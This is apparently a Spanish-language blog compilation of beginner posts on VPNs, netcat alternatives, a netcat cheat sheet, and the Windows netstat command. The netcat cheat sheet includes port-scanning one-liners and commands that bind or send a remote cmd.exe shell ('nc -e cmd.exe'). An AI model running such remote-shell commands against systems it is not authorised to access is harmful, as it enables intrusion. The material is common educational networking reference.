VPN – explicación para DUMMIES

Hola a todos,

Las VPN (Virtual Private Network) o Red Privada Virtual, ha dia de hoy no es algo oscuro y raro, hay extensa documentación repartida por todo internet, desde lo que és, hasta como montarla con diferentes sistemas operativos y hardware de distintos proveedores. Mi intención con el siguiente post, no es repetir (aunque tal vez ya exista un post por internet que no haya visto) lo que aparece en todos lados, sino intentar explicarlo de forma somera, mundana y para DUMMIES.

Bueno aquí vamos:

¿Que es una VPN?

Una VPN, sirve como objetivo principal para comunicar 2 o más ubicaciones (redes) y que puedan trabajar como si estuviesen “virtualmente” en la misma ubicación, pudiendo así, compartir y acceder a los recursos de las ubicaciones.

Vale, pero ¿como funciona?

Bueno, simplificandolo mucho, una VPN establece un “tunel virtual” entre la red origen y la red destino. Es igual lo que haya por medio, veamos algunos ejemplos de uso con los que tal vez quede más claro:

RED1 — INTERNET — RED2   —> Aqui se establecería un “tunel virtual” que iría desde la red1 hasta la red2 cruzando internet, y permitiendo a la red1 acceder de forma “segura” a los recursos de la red2 y viceversa.

vpn1 vpn1

Photo Credit: DesktopSupport via Compfight cc

USUARIO REMOTO — INTERNET — RED_EMPRESA —> Este es otro ejemplo de uso, el caso sería igual que el anterior, pero difiere en que  es un usuario en concreto el que se podría conectar desde “cualquier parte del mundo” a la red de su empresa y acceder a los recursos de la misma,  cruzando internet a través del “tunel virtual”.

RED1 — RED2 — RED3 –> Este es otro escenario, en el que dentro de una empresa con 3 redes distintas, necesitamos que de alguna forma la RED1 acceda a los recursos de la RED3, cruzando la RED2. Y que la Red2 no tenga acceso a la RED1 ni a la RED3, evidentemente hay otras formas de realizar esto, pero es otra posiblidad.

vpn2

 

Photo Credit: DesktopSupport via Compfight cc

¿Es segura una VPN?

Ha día de hoy, hay que decir que depende de la implementación que se utilice, escenario, y demás… pero si se toman las medidas oportunas y se planifica correctamente, una VPN es “bastante segura”, hay varias protocolos a elegir para implementar VPN’s como pueden ser IPSEC, L2TP, PPTP, etc.

¿A quien puede servir montar una VPN?

A todo el mundo, ya que una VPN es barata dependiendo de lo que quieras realizar, muchos routers ya tienen la opción de crear VPN, y para usuarios remotos con tener un cliente VPN (Muchos Sistemas Operativos, ya lo traen por defecto instalado) ya está.

Tambien se puede montar por software, o sea que el que haga de servidor o servidores sea un software tipo OpenVPN o el RRAS de MS. Vamos que la infraestructura para montarlo esta al alcance de todo el mundo. Y proporciona seguridad, anonimato, y acceso a nuestras infraestructuras desde cualquier lugar.

Además, hay clientes VPN para dispositivos móviles, android, iphone, etc.

¿que más quereis?

Espero que este post os haya gustado.

Alternativas al netcat

El otro día en twitter tuve un pequeño lapsus sobre las alternativas a netcat, esta mañana me ha venido a la memoria que el socat no es parte del proyecto nmap, por lo tanto, he vuelto a mirar las opciones y aqui esta el resultado correcto:

cryptcat [http://cryptcat.sourceforge.net/] .-  Es una implementación de netcat que permite encriptación twofish, esta disponible para windows nt, BSD y linux.

socat [http://www.dest-unreach.org/socat/].- Tal y como dicen en su web es un netcat ++ permite multiples conexiones, redirección de puetos y mucho mas…. disponible para AIX, BSD, HP-UX, Linux, Solaris e.a. (UNIX).

ncat [http://nmap.org/ncat/].- Este SI pertenece al proyecto nmap, ha sido reimplementado por el equipo de nmap, tiene soporte para SSL,  conexiones a traves de proxy SOCKS4, esta disponible para LINUX, MAC Y WINDOWS. Y viene por defecto en el mismo paquete que el nmap. Es una herramienta un poco desconocida  pero  muy util, lástima que muchos no comprobemos lo que se instala cuando montamos algo en nuestros equipos.

Bueno espero que está mini explicación aclare un poco más el tema.

saludos a todos,

Mini chuleta de NETCAT

Hola a todos, hoy en twitter @SeguInfo hacia referencia a una gran herramienta que ha sido considerada como la navaja suiza del tcp/ip, bueno tras ver la notica y aunque se han escrito hasta libros referente a ella, os adjunto un mini-chuletario que realize en su día del uso de la misma, aqui viene.

Escanear puertos:
nc -vvw 2 ip_destino puerto/s
Ejemplo: c:\>nc -vvw 2 localhost 1-1024

Para guardar el resultado en un fichero.
nc -vvw 2 localhost 1-200 >nom_fichero 2>&1

Montar un miniservidor web
nc -lp 100 nom_fichero

Ejemplo:
El equipo origen tiene la ip 192.168.0.1
El equipo destino tiene la ip 192.168.0.2

Origen:
type hola.zip | nc -lp 900 192.168.0.2
Destino:
nc 192.168.0.1 900 >fichero.zip

Crear un Talkd, para conversación ip en plan irc.
El que crea la conversación (Servidor)
nc -lvvp puerto    ejemplo: nc -lvvp 1234

El que se conecta (cliente)
nc -tvv puerto     ejemplo: nc -tvv 1234

Para crear conexiones telnet

Para hacer de Servidor:
nc -tlp puerto -e cmd.exe

El cliente:
nc -t ip puerto

Para que el equipo remoto me envie una consola:
Destino:
nc -lp 5000 -nvv
Origen:
nc -e cmd.exe -n ip puerto
nc -e cmd.exe -n 127.0.0.1 5000

Para dejar escuchando el equipo en un puerto y cancelar si el equipo no tiene una ip determinada.
nc -lp 999 192.168.0.2
Nota: si yo hago un nc – t ip_destino y mi ip no es la 192.168.0.2 el nc se cancela.

Para hacer de cliente telnet
nc -tvv ip puerto

Para transferir ficheros
Origen:
type nom_fichero | nc -lp 900

Destino:
nc ip puerto > nom_fichero

Ejemplo:
El equipo origen tiene la ip 192.168.0.1
El equipo destino tiene la ip 192.168.0.2

Origen:
type hola.zip | nc -lp 900 192.168.0.2
Destino:
nc 192.168.0.1 900 >fichero.zip

Con el netcat6 de linux permite cortar la comunicación del fichero con la opción -q 0.
cat fich | nc6 -lp 900 -q 0

Si ya se que es repetir lo mismo una y otra vez, pero por si hay algún despistado por hay aqui tiene algo con lo que probar……

Nada como siempre espero que sea de ayuda…. saludos a todos,

El comando NETSTAT en windows, conoce el tráfico de tu equipo…

Hay muchos de vosotros que ya tenéis muy machacado el comando netstat, pero tanto para los que lo conocen como para aquellos que no lo conocen os recomiendo que os leáis este post, hasta el final.

Empezaré diciendo que el comando netstat nos da información sobre las conexiones entrantes y salientes desde y hacia nuestro equipo, si bien es cierto que existen aplicaciones gráficas que facilitan este trabajo, para cualquier sysadmin o usuario que quiera saber que ocurre en sus equipos, es de obligado cumplimiento el conocer aunque sea un poco esta herramienta.

Para saber que opciones podemos utilizar, os invito a abrir una ventana cmd y escribáis: netstat -h

netstatH

NOTA: Para este post estoy usando Windows 8.1 puede que las opciones cambien o tengan menos opciones en otras versiones de Windows, cosa que cambia si estáis usando linux, pero bueno empezaremos poco a poco.

Sigamos, en la ventana cmd podemos ejecutar lo siguiente: netstat -a

netstatA

Como se puede observar, veremos que nos aparecen un montón de datos (protocolo utilizado, dirección local, dirección remota, estado), y según la cantidad de aplicaciones que tengamos arrancadas accediendo a internet y/o red local, el resultado puede ser muy largo. La opción -a tal y como dice la ayuda del comando nos muestra todas las conexiones y puertos a la escucha.

TIP: Recordad que siempre que lo necesitéis podéis volcar el resultado en un fichero para revisar tranquilamente, para ello ejecutaremos lo siguiente: netstat -a resultado.txt y después con un “notepad resultado.txt” podréis abrir el fichero y ver los resultados con detenimiento.

Puede ser que el resultado obtenido no sea todo lo completo que necesitéis pero por ahora iremos viendo más opciones con las que iremos mejorando la cantidad y calidad de información que necesitéis en cada momento.

Por ejemplo, en mi caso me gusta que me muestre los datos identificando la ip y puertos en lugar de que me muestre los nombres, para ello utilizaremos la opción -an tal y como podemos observar en la siguiente imagen.

netstatAN

TIP: Nos puede pasar que queramos ver por ejemplo todas las conexiones que utilicen el puerto 80, para ello podemos utilizar el pipe y concatenarlo con el comando find, por ejemplo: netstat -an | find :80

Ya vamos conociendo algunas opciones, y algunas formas de filtrar la información que recibimos por pantalla, seguimos….

Nos podría interesar saber que PID tiene el proceso que está a la escucha o esta estableciendo una comunicación, ¿para que?, se me ocurre por ejemplo para comprobar que aplicación la tiene abierta, esto lo podremos ver con la opción -o donde nos muestra el PID del proceso y posteriormente podremos ver que aplicación es con el comando tasklist. Veamos la consecución de los comandos.

netstatANO

tasklist

NOTA: Las opciones -ano la uso siempre en este orden porque me es fácil de recordar, no por otros motivos .…  X      🙂

Veamos otras opciones, por ejemplo -r :

netstatR

El resultado de este comando es exactamente igual que si ejecutásemos el comando “route print”, y nos muestra la tabla de enrutamiento local, con las redes destino, mascaras, puertas de enlace, interfaz y métrica, y paro de explicar mas cosas sobre el significado de estos datos, ya que tengo planificado hacer un post sobre el comando route donde realizaré varios ejemplos y quedarán más claros.

Ahora me gustaría hacer hincapié sobre una de las opciones del comando netstat que muchos olvidamos que existe, y que en determinadas situaciones me han ayudado mucho, justamente es la opción “interval”, la cual, podemos especificar una cantidad en segundos para que se ejecute de nuevo el comando con lo que la información se refresca y nos muestra los nuevos datos, esta opción si la redireccionamos a un archivo nos puede ayudar a ver que es lo que ha ido ocurriendo durante el arranque de una aplicación, el comando sería el siguiente:

netstat -ano 2 >>resultado.txt

El 2, significa que se ejecutará el netstat cada 2 segundos.

TIP: Cuando queramos parar la ejecución del comando, hay que pulsar CTRL+C. Y posteriormente podrémos analizar el resultado.txt con nuestro editor favorito.

El resto de opciones, aunque son menos utilizadas en general, no son por ello menos interesantes, pero os las dejo para que las exploréis vosotros.

Espero que este POST os haya gustado y sobre todo que os sea útil   🙂